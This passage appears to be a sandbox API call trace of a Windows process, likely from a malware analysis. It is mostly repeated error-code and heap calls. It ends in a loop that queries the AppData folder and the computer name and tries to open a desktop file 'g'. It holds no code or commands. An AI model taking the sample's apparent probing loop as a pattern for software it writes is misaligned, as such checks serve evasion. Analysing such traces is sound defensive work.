(dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] GetLastError () returned 0x0 [0144.549] SetLastError (dwErrCode=0x0) [0144.549] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x190) returned 0x7d3870 [0144.549] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.550] SetLastError (dwErrCode=0x0) [0144.550] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.551] GetLastError () returned 0x0 [0144.551] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.552] SetLastError (dwErrCode=0x0) [0144.552] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb638 [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.553] GetLastError () returned 0x0 [0144.553] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bb638 | out: hHeap=0x7a0000) returned 1 [0144.554] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x28) returned 0x7cb150 [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x3c) returned 0x7cfeb0 [0144.554] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cb150 | out: hHeap=0x7a0000) returned 1 [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.554] SetLastError (dwErrCode=0x0) [0144.554] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.555] SetLastError (dwErrCode=0x0) [0144.555] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cfeb0 | out: hHeap=0x7a0000) returned 1 [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.556] GetLastError () returned 0x0 [0144.556] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] GetLastError () returned 0x0 [0144.557] SetLastError (dwErrCode=0x0) [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7c98 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb498 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x28) returned 0x7caca0 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7bb638 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x24) returned 0x7cb000 [0144.557] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7bb638 | out: hHeap=0x7a0000) returned 1 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x34) returned 0x7c9f18 [0144.557] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7cb000 | out: hHeap=0x7a0000) returned 1 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x4c) returned 0x7aee68 [0144.557] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c9f18 | out: hHeap=0x7a0000) returned 1 [0144.557] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x70) returned 0x7ae528 [0144.557] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7aee68 | out: hHeap=0x7a0000) returned 1 [0144.558] IsWindowEnabled (hWnd=0x0) returned 0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.558] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0144.559] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xc, uEnable=0x0) returned 1 [0144.560] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0144.560] FillRect (hDC=0x0, lprc=0x19f520, hbr=0x0) returned 0 [0144.561] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7b18 [0144.561] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7a88 [0144.561] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7c50 [0144.561] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7c38 [0144.562] GetProcAddress (hModule=0x77bb0000, lpProcName="memcpy") returned 0x77c27b00 [0144.562] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7b60 [0144.562] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7a88 | out: hHeap=0x7a0000) returned 1 [0144.562] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7c50 | out: hHeap=0x7a0000) returned 1 [0144.562] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7c38 | out: hHeap=0x7a0000) returned 1 [0144.562] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7c7b60 | out: hHeap=0x7a0000) returned 1 [0144.562] GetStockObject (i=13) returned 0x8a01c2 [0144.562] GetObjectA (in: h=0x8a01c2, c=60, pv=0x499d14 | out: pv=0x499d14) returned 60 [0144.577] CreateAsyncBindCtx (in: reserved=0x0, pBSCb=0x0, pEFetc=0x0, ppBC=0x19f4bc*=0x0 | out: ppBC=0x19f4bc*=0x0) returned 0x80070057 [0144.578] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.641] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.656] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.738] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.738] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.738] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.738] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.738] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.738] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.738] CloseHandle (hObject=0x0) returned 0 [0144.738] CloseHandle (hObject=0xffffffff) returned 1 [0144.738] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.738] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.739] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.739] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.739] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.739] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.739] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.739] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.739] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.739] CloseHandle (hObject=0x0) returned 0 [0144.739] CloseHandle (hObject=0xffffffff) returned 1 [0144.739] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.739] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.739] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.739] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.739] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.739] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.739] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.739] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.739] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.739] CloseHandle (hObject=0x0) returned 0 [0144.739] CloseHandle (hObject=0xffffffff) returned 1 [0144.739] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.739] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.740] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.740] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.740] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.740] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.740] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.740] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.740] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.740] CloseHandle (hObject=0x0) returned 0 [0144.740] CloseHandle (hObject=0xffffffff) returned 1 [0144.740] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.740] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.740] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.740] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.740] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.740] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.740] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.740] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.740] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.740] CloseHandle (hObject=0x0) returned 0 [0144.740] CloseHandle (hObject=0xffffffff) returned 1 [0144.740] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.740] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.740] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.740] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.741] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.741] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.741] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.741] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.741] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.741] CloseHandle (hObject=0x0) returned 0 [0144.741] CloseHandle (hObject=0xffffffff) returned 1 [0144.741] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.741] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.741] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.741] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.741] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 